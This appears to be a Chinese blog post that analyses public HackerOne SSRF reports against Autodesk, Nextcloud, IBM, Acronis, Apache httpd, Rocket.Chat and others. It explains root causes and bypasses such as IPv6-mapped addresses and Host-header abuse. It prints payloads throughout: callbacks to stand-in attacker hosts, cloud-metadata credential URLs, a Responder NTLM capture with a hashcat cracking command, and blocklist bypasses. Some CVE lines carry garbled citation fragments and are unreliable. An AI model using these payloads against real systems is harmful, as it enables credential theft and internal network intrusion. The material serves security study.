当前位置: 首页 > article >正文

SSRF漏洞公开报告分析

文章目录

      • 1. SSRF | 获取元数据 | 账户接管
      • 2. AppStore | 版本上传表单 | Blind SSRF
      • 3. HOST SSRF
        • 一、为什么HOST修改不会影响正常访问
        • 二、案例
      • 4. Turbonomic 的 终端节点 | SSRF 获取元密钥
        • 一、介绍
        • 二、漏洞分析
      • 5. POST | Blind SSRF
      • 6. CVE-2024-40898利用 | SSRF + 泄露 NTLM
        • 一、CVE介绍
        • 二、复现
        • 2. 破解哈希
      • 7. POST | SSRF
        • Twilio Webhook 功能背景:
        • 2. 漏洞触发点
      • 8. CVE-2024-24806 | NodeJS | SSRF
        • 🧨 漏洞编号:
        • 🛠️ 漏洞成因:
      • 9. IPv6绕过 IP黑名单
        • 1. IPv6 映射地址解析缺陷
        • 2. 漏洞触发逻辑
        • 3. 漏洞利用条件
      • 10. GET | SSRF
        • 🔁 复现步骤(Steps To Reproduce)
      • 11. 邮件应用程序中的盲SSRF
        • 漏洞复现与验证:

1. SSRF | 获取元数据 | 账户接管

Autodesk | Report #3024673 - SSRF in Autodesk Rendering leading to account takeover | HackerOne

2. AppStore | 版本上传表单 | Blind SSRF

Nextcloud | Report #2925666 - Blind SSRF Vulnerability in Appstore Release Upload Form | HackerOne

  • 攻击者提交以下恶意 URL,探测服务器是否访问了指定地址:

    icon_url=http://attacker.com/log?payload=test
    

    通过检查 attacker.com 的访问日志,若发现来自 AppStore 服务器的请求,则确认漏洞存在。

  • 进一步利用:

    icon_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/  # 获取云服务器临时凭证
    

3. HOST SSRF

IBM | Report #2696271 - SSRF via host header let access localhost via https://go.dialexa.com | HackerOne

一、为什么HOST修改不会影响正常访问

✅ 实际请求是由目标服务器发出的,它会根据 URL 的主机名去解析 IP 并建立连接。

请求流程通常是这样的:

目标服务发出 HTTP 请求 -> 解析 URL 中的主机名 -> 建立 TCP 连接 -> 发送 HTTP 请求(包含 Host)

举例:

http复制编辑POST https://eva2.csdn.net/v3/xxx HTTP/1.1
Host: 127.0.0.1

此时:

  • TCP 连接建立在 eva2.csdn.net 这个域名解析出来的 IP 上
  • HTTP 请求头里的 Host 不影响实际连接目标
二、案例

攻击姿势
篡改 Host 标头,诱导服务器向该地址发起内部请求。
示例请求

GET /api/health HTTP/1.1
Host: 127.0.0.1:8080  # 篡改后的目标

攻击逻辑

  • 服务器代码使用 Host 标头动态生成内部请求:

    internal_url = f"http://{request.headers['Host']}/admin"
    requests.get(internal_url)  # 实际访问 http://127.0.0.1:8080/admin
    
  • 请求仍发送到 victim.com 的公网 IP,但服务器自身会代理访问 127.0.0.1

生效条件

  • 应用程序逻辑依赖 Host 标头构造请求地址。
  • 服务器可访问本地或内网服务(如本地数据库、管理接口)。

4. Turbonomic 的 终端节点 | SSRF 获取元密钥

IBM | Report #2697592 - SSRF and secret key disclosure found on Turbonomic endpoint | HackerOne

IBM | Report #2697601 - SSRF and secret key disclosure found on Turbonomic endpoint | HackerOne

一、介绍

Turbonomic 是一款用于混合云环境的资源优化与管理平台,其核心功能包括自动化资源分配、性能监控和成本优化。由于需要深度集成云服务、虚拟化平台及物理基础设施,Turbonomic 通常拥有高权限访问各类 API 和内部系统。
终端节点(Endpoint) 是 Turbonomic 对外提供 API 或管理接口的入口,若存在安全缺陷,可能成为攻击者渗透的突破口。

二、漏洞分析
  • 触发点
    Turbonomic 的某个 API 终端节点接受用户可控的 URL 参数,用于请求外部资源(如获取监控数据、集成第三方服务)。
    示例请求

    POST /api/v3/fetch-resource HTTP/1.1
    Host: turbonomic.example.com
    ...
    {"resource_url": "http://user-provided-url.com/data"
    }
    
  • 漏洞逻辑
    若后端未对 resource_url 进行合法性校验,攻击者可构造恶意 URL(如内网地址、云元数据接口),诱导 Turbonomic 服务器发起内部请求。

5. POST | Blind SSRF

Acronis | Report #1086206 - Blind SSRF vulnerability on cz.acronis.com | HackerOne

漏洞复现步骤(PoC)

  1. 发送以下 POST 请求,在 address 参数中注入恶意 URL:

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: cz.acronis.com
    ...
    address=http://jczo3ewu8jpfgyiajmkacspsnjtbh0.burpcollaborator.net/ssrf
    
  2. 服务器响应 200 OK,并触发对 Burp Collaborator回调请求(来源 IP:109.123.216.85)。

漏洞影响

  • 允许未认证攻击者诱导 WordPress 向任意地址(包括内网服务)发起 HTTP 请求。
  • 可进一步用于 内部网络探测敏感数据泄露网络放大攻击

6. CVE-2024-40898利用 | SSRF + 泄露 NTLM

Internet Bug Bounty | Report #2612028 - important: Apache HTTP Server: SSRF with mod_rewrite in server/vhost context on Windows (CVE-2024-40898) | HackerOne

一、CVE介绍

漏洞编号:CVE-2024-40898

影响组件:Apache HTTP Server(Windows 平台)tenablecloud.cn+7hkcert.org+7腾讯云 - 产业智变 云启未来+7

影响版本:2.4.0 至 2.4.61httpd.apache.org+2GitHub+2hkcert.org+2

漏洞类型:服务器端请求伪造(SSRF)hkcert.org+4阿里云漏洞库+4腾讯云 - 产业智变 云启未来+4

CVSS v3 分数:7.5(高危)

修复版本:2.4.62腾讯云 - 产业智变 云启未来+6tenablecloud.cn+6NVD+6

二、复现
  1. 搭建恶意 SMB 服务器
    使用 ResponderImpacket 监听 SMB 流量:

    responder -I eth0 -wrf
    
  2. 触发 SSRF
    发送构造的请求至漏洞 URL:

    GET /redirect?path=\\attacker-ip\share HTTP/1.1
    Host: victim.com
    
  3. 捕获哈希
    Responder 将捕获服务器的 NetNTLMv2 哈希,保存为 hash.txt

2. 破解哈希

使用 Hashcat 进行离线破解:

hashcat -m 5600 hash.txt /path/to/wordlist.txt

7. POST | SSRF

Rocket.Chat | Report #1886954 - Unauthenticated full-read SSRF via Twilio integration | HackerOne

Twilio Webhook 功能背景:
  • Twilio 集成
    Rocket.Chat 支持通过 Twilio 接收短信或语音通话通知。当 Twilio 接收到外部事件(如用户回复短信)时,会通过 Webhook 回调 将数据发送到 Rocket.Chat 的指定端点(如 /services/voip/events)。
  • 参数处理
    Webhook 端点可能解析 Twilio 请求中的参数(如 CallerFromRecordingUrl),并基于这些参数发起后续操作(如下载录音文件)。
2. 漏洞触发点
  • 未过滤的 URL 参数
    若 Rocket.Chat 在处理 Twilio 回调时,直接使用用户可控的 URL 参数(如 RecordingUrl)发起 HTTP 请求,且未校验目标地址的合法性,攻击者可注入恶意 URL。
    示例请求

    POST /services/voip/events HTTP/1.1
    Host: rocket.chat.example.com
    ...
    {"CallSid": "CAXXXXX","RecordingUrl": "http://169.254.169.254/latest/meta-data"  // 恶意注入
    }
    
  • 代码逻辑缺陷
    漏洞版本的 Rocket.Chat 可能直接调用类似 HTTP.get(RecordingUrl) 的代码,未限制目标地址范围。

8. CVE-2024-24806 | NodeJS | SSRF

🧨 漏洞编号:
  • CVE:CVE-2024-24806
  • 影响组件libuv(Node.js 使用的底层异步 I/O 库)
  • 影响范围:所有 Node.js >= v10 的版本(只要依赖 libuv)
🛠️ 漏洞成因:
js复制编辑// 开发者检查是否包含内部网地址
const url = req.query.url;
if (url.includes('127.0.0.1') || url.includes('localhost')) {return res.status(403).send('Blocked');
}http.get(url); // ⚠️ 直接使用,易受攻击

攻击者输入:

http://aaaaaaaaaaa...aaa0x7f000001

由于字符串太长,开发者的检查逻辑不会发现结尾是 0x7f000001,但 libuv 在调用 getaddrinfo() 前会截断为:

复制编辑
0x7f000001

而这个实际上等价于:

复制编辑
127.0.0.1

最终 SSRF 成功!

9. IPv6绕过 IP黑名单

HackerOne | Report #2301565 - Server Side Request Forgery (SSRF) in webhook functionality | HackerOne

1. IPv6 映射地址解析缺陷
  • IPv4-mapped IPv6 格式
    根据 RFC 4291,IPv4 地址可嵌入 IPv6 地址中,格式为 ::ffff:<IPv4>(如 ::ffff:127.0.0.1)。
  • 压缩表示
    IPv6 地址允许省略前导零,例如 ::ffff:a9fe:a9fe 等价于 ::ffff:169.254.169.254(AWS 元数据服务 IP)。
2. 漏洞触发逻辑
  • 攻击载荷构造
    攻击者在 Webhook 的 URL 参数中使用压缩的 IPv6 映射地址,绕过对 169.254.169.254 的黑名单过滤。
    示例

    header("Location: http://[::ffff:a9fe:a9fe]");  // 实际指向 169.254.169.254
    
  • 服务器行为
    应用程序解析 URL 时未规范化 IPv6 地址,直接发起请求,导致访问内部服务。

3. 漏洞利用条件
  • 输入控制
    Webhook 功能允许用户指定任意 URL。
  • 缺乏规范化校验
    未对 IPv6 地址进行展开和标准化处理,且黑名单仅覆盖 IPv4 格式。
  • 服务器出站权限
    服务器可访问内部网络或云元数据接口。

10. GET | SSRF

inDrive | Report #2300358 - SSRF in https://couriers.indrive.com/api/file-storage | HackerOne

🔁 复现步骤(Steps To Reproduce)

以 Burp Collaborator 为例展示漏洞触发过程:

  1. 发起如下请求(将 url 参数替换为你自己的 OAST 域名):

    GET /api/file-storage?url=http://va99zfc0lxpm75ogmcjhz8xij9pzdo.oastify.com
    
  2. 查看响应内容 & Burp Collaborator 的日志,发现目标服务器发出了对你提供域名的请求,说明 SSRF 成立。

11. 邮件应用程序中的盲SSRF

Nextcloud | Report #1869714 - Blind SSRF in Mail App | HackerOne

漏洞复现与验证:
  1. 搭建监听服务
    使用 Burp CollaboratorInteractsh 生成唯一域名(如 ssrf-test.attacker.com)。

  2. 构造恶意邮件
    在邮件正文或附件中插入监听 URL:

    <img src="http://ssrf-test.attacker.com">
    
  3. 发送邮件并监控
    观察监听服务是否收到来自邮件服务器的 HTTP/DNS 请求。
    😕/hackerone.com/reports/1869714)

相关文章:

SSRF漏洞公开报告分析

文章目录 1. SSRF | 获取元数据 | 账户接管2. AppStore | 版本上传表单 | Blind SSRF3. HOST SSRF一、为什么HOST修改不会影响正常访问二、案例 4. Turbonomic 的 终端节点 | SSRF 获取元密钥一、介绍二、漏洞分析 5. POST | Blind SSRF6. CVE-2024-40898利用 | SSRF 泄露 NTL…...

生物化学笔记:医学免疫学原理14 感染免疫 感染免疫的机制+病原体的免疫逃逸机制

感染免疫的基本概念 感染免疫的机制 病原体的免疫逃逸机制...

RocketMQ深度百科全书式解析

​一、核心架构与设计哲学​ ​1. 设计目标​ ​海量消息堆积​&#xff1a;单机支持百万级消息堆积&#xff0c;适合大数据场景&#xff08;如日志采集&#xff09;。​严格顺序性​&#xff1a;通过队列分区&#xff08;Queue&#xff09;和消费锁机制保证局部顺序。​事务…...

谈谈模板方法模式,模板方法模式的应用场景是什么?

一、模式核心理解 模板方法模式是一种​​行为设计模式​​&#xff0c;通过定义算法骨架并允许子类重写特定步骤来实现代码复用。 如同建筑图纸规定房屋结构&#xff0c;具体装修由业主决定&#xff0c;该模式适用于​​固定流程中需要灵活扩展​​的场景。 // 基础请求处理…...

电脑的usb端口电压会大于开发板需要的电压吗

电脑的USB端口电压通常不会大于开发板所需的电压&#xff0c;以下是详细解释&#xff1a; 1. USB端口电压标准 根据USB规范&#xff0c;USB接口的标称输出电压为5V。实际测量时&#xff0c;USB接口的输出电压会略有偏差&#xff0c;通常在4.75V到5.25V之间。USB 2.0和USB 3.0…...

DeepSeek-V3与DeepSeek-R1全面解析:从架构原理到实战应用

DeepSeek-V3与DeepSeek-R1全面解析&#xff1a;从架构原理到实战应用 DeepSeek作为中国人工智能领域的新锐力量&#xff0c;其推出的DeepSeek-V3和DeepSeek-R1系列模型在开源社区和商业应用中引起了广泛关注。本指南将系统介绍这两款模型的架构特点、安装部署方法以及实际应用…...

Java 基础(4)—Java 对象布局及偏向锁、轻量锁、重量锁介绍

一、Java 对象内存布局 1、对象内存布局 一个对象在 Java 底层布局&#xff08;右半部分是数组连续的地址空间&#xff09;&#xff0c;如下图示&#xff1a; 总共有三部分总成&#xff1a; 1. 对象头&#xff1a;储对象的元数据&#xff0c;如哈希码、GC 分代年龄、锁状态…...

Flink回撤流详解 代码实例

一、概念介绍 1. 回撤流的定义 在 Flink 中&#xff0c;回撤流主要出现在使用 Table API 或 SQL 进行聚合或更新操作时。对于那些结果并非单纯追加&#xff08;append-only&#xff09;的查询&#xff0c;Flink 会采用“回撤流”模式来表达更新。 回撤流的数据格式&#xff…...

Glowroot 是一个开源的 Java 应用性能监控(APM)工具,专为 低开销、易用性 设计,具体的应用及优势进行分析说明

Glowroot 是一个开源的 Java 应用性能监控(APM)工具,专为 低开销、易用性 设计,适用于开发和生产环境。它可以帮助你实时监控 Java 应用的性能指标(如响应时间、SQL 查询、JVM 状态等),无需复杂配置即可快速定位性能瓶颈。 1. 核心功能 功能说明请求性能分析记录 HTTP 请…...

台式电脑插入耳机没有声音或麦克风不管用

目录 一、如何确定插孔对应功能1.常见音频插孔颜色及功能2.如何确认电脑插孔?3.常见问题二、 解决方案1. 检查耳机连接和设备选择2. 检查音量设置和静音状态3. 更新或重新安装声卡驱动4. 检查默认音频格式5. 禁用音频增强功能6. 排查硬件问题7. 检查系统服务8. BIOS设置(可选…...

直播电商革命:东南亚市场的“人货场”重构方程式

一、人设经济3.0&#xff1a;从流量收割到情感基建 东南亚直播战场正经历从"叫卖式促销"到"沉浸式信任"的质变&#xff0c;新加坡市场成为最佳观察样本&#xff1a; 数据印证趋势&#xff1a;Shopee直播用户日均停留28分钟&#xff0c;超短视频平台&#…...

AI图像生成

要通过代码实现AI图像生成&#xff0c;可以使用深度学习框架如TensorFlow、PyTorch或GANs等技术。下面是一个简单的示例代码&#xff0c;演示如何使用GANs生成手写数字图像&#xff1a; import torch import torchvision import torchvision.transforms as transforms import …...

Spring Boot 通过全局配置去除字符串类型参数的前后空格

1、问题 避免前端输入的字符串参数两端包含空格&#xff0c;通过统一处理的方式&#xff0c;trim掉空格 2、实现方式 /*** 去除字符串类型参数的前后空格* author yanlei* since 2022-06-14*/ Configuration AutoConfigureAfter(WebMvcAutoConfiguration.class) public clas…...

【AI论文】OLMoTrace:将语言模型输出追溯到万亿个训练标记

摘要&#xff1a;我们提出了OLMoTrace&#xff0c;这是第一个将语言模型的输出实时追溯到其完整的、数万亿标记的训练数据的系统。 OLMoTrace在语言模型输出段和训练文本语料库中的文档之间找到并显示逐字匹配。 我们的系统由扩展版本的infini-gram&#xff08;Liu等人&#xf…...

git仓库迁移包括提交记录日志

网上找了很多资料都不好用&#xff0c;直到看到一个亲测有效后&#xff0c;整理如下&#xff1a; 1、进入仓库目录下&#xff0c;并且切换到要迁移的分支上 前提是你本地已有旧仓库的代码&#xff1b;如果没有的话&#xff0c;先拉取。 2、更改仓库地址 git remote set-url …...

SAP GUI 显示SAP UI5应用,并实现SSO统一登陆

想用SAP UI5 做一写界面&#xff0c;又不想给用户用标准的Fiori APP怎么办&#xff1f;我觉得可以用可配置物料标准功能的思路&#xff0c;在SAP GUI中显示UI5界面&#xff0c;而不是跳转到浏览器。 代码实现后的效果如下&#xff1a; 1、调用UI5应用&#xff0c;适用于自开发…...

HumanDil-Ox-LDL:保存:2-8℃保存,避免强光直射,不可冻存

化学试剂的基本介绍&#xff1a; /// 英文名称&#xff1a;HumanDil-Oxidized LowDensityLipoprotein /// 中文名称&#xff1a;人源红色荧光标记氧化型低密度脂蛋白 /// 浓度&#xff1a;1.0-4.0 mg/ml /// 外观&#xff1a;乳状液体 /// 缓冲液组分&#xff1a;PBS&…...

开箱即用!推荐一款Python开源项目:DashGo,支持定制改造为测试平台!

大家好&#xff0c;我是狂师。 市面上的开源后台管理系统项目层出不穷&#xff0c;对应所使用到的技术栈也不尽相同。 今天给大家推荐一款开源后台管理系统: DashGo&#xff0c;不仅部署起来非常的简单&#xff0c;而且它是基于Python技术栈实现的&#xff0c;使得基于它进行…...

JS小练习0.1——弹出姓名

分析&#xff1a;1.用户输入 2.内部处理保存数据 3.打印输出 <body><script>let name prompt(输入你的名字)document.write(name)</script> </body>...

vue自定义颜色选择器

vue自定义颜色选择器 效果图&#xff1a; step0: 默认写法 调用系统自带的颜色选择器 <input type"color">step1:C:\Users\wangrusheng\PycharmProjects\untitled18\src\views\Home.vue <template><div class"container"><!-- 颜…...

LibreOffice Writer使用01去除单词拼写判断的红色下划线

这个软件还是非常有特色的&#xff0c;因为大家需要office的全部功能&#xff0c;常常忽略了这个软件的使用体验。 csdn不是特别稳定&#xff0c;linux也没有什么比较好的md编辑器&#xff0c;所以我选择这个软件来记录我的临时博客&#xff0c;原因无他&#xff0c;它可以保存…...

0401react中使用css-react-css-仿低代码平台项目

文章目录 1、普通方式-内联使用css2、引入css文件2.1、示例2.2、classnames 3、内联css与引入css文件对比3.1、内联css3.2、 外部 CSS 文件&#xff08;External CSS&#xff09; 4、css module5、sass6、classnames组合scss modules7、css-in-js7.1、CSS-in-JS 的核心特性7.2、…...

Devops之GitOps:什么是Gitops,以及它有什么优势

GitOps 定义 GitOps 是一种基于版本控制系统&#xff08;如 Git&#xff09;的运维实践&#xff0c;将 Git 作为基础设施和应用程序的唯一事实来源。通过声明式配置&#xff0c;系统自动同步 Git 仓库中的期望状态到实际运行环境&#xff0c;实现持续交付和自动化运维。其核心…...

蓝桥杯真题-危险系数DF

抗日战争时期&#xff0c;冀中平原的地道战曾发挥重要作用。 地道的多个站点间有通道连接&#xff0c;形成了庞大的网络。但也有隐患&#xff0c;当敌人发现了某个站点后&#xff0c;其它站点间可能因此会失去联系。 我们来定义一个危险系数DF(x,y)&#xff1a; 对于两个站点x和…...

《线性表、顺序表与链表》教案(C语言版本)

&#x1f31f; 各位看官好&#xff0c;我是maomi_9526&#xff01; &#x1f30d; 种一棵树最好是十年前&#xff0c;其次是现在&#xff01; &#x1f680; 今天来学习C语言的相关知识。 &#x1f44d; 如果觉得这篇文章有帮助&#xff0c;欢迎您一键三连&#xff0c;分享给更…...

[ctfshow web入门] web33

信息收集 相较于上一题&#xff0c;这题多了双引号的过滤。我猜测这一题的主要目的可能是为了不让使用$_GET[a]之类的语句&#xff0c;但是$_GET[a]也是一样的 没有括号可以使用include&#xff0c;没有引号可以使用$_GET 可以参考[ctfshow web入门] web32&#xff0c;其中的所…...

三、TorchRec中的Optimizer

TorchRec中的Optimizer 文章目录 TorchRec中的Optimizer前言一、嵌入后向传递与稀疏优化器融合如下图所示&#xff1a;二、上述图片的关键步骤讲解&#xff1a;三、优势四、与传统优化器对比总结 前言 TorchRec 模块提供了一个无缝 API&#xff0c;用于在训练中融合后向传递和…...

C++算法之代码随想录(链表)——基础知识

&#xff08;1&#xff09;什么是链表 链表是一种线性数据结构。常见的单链表由两部分组成&#xff0c;value&#xff08;存储节点的值&#xff09;和next&#xff08;存储指向下一个节点地址的指针&#xff09;。链表的头节点称为head。创建链表一般使用结构体&#xff08;str…...

oracle update 原理

Oracle 11g 中的 UPDATE 操作是数据库修改数据的关键机制&#xff0c;其核心原理涉及事务管理、多版本并发控制&#xff08;MVCC&#xff09;、Undo/Redo 日志、锁机制等 1. 执行前的准备 SQL 解析与执行计划&#xff1a; Oracle 解析 UPDATE 语句&#xff0c;生成执行计划&…...

蓝桥杯 15g

班级活动 问题描述 小明的老师准备组织一次班级活动。班上一共有 nn 名 (nn 为偶数) 同学&#xff0c;老师想把所有的同学进行分组&#xff0c;每两名同学一组。为了公平&#xff0c;老师给每名同学随机分配了一个 nn 以内的正整数作为 idid&#xff0c;第 ii 名同学的 idid 为…...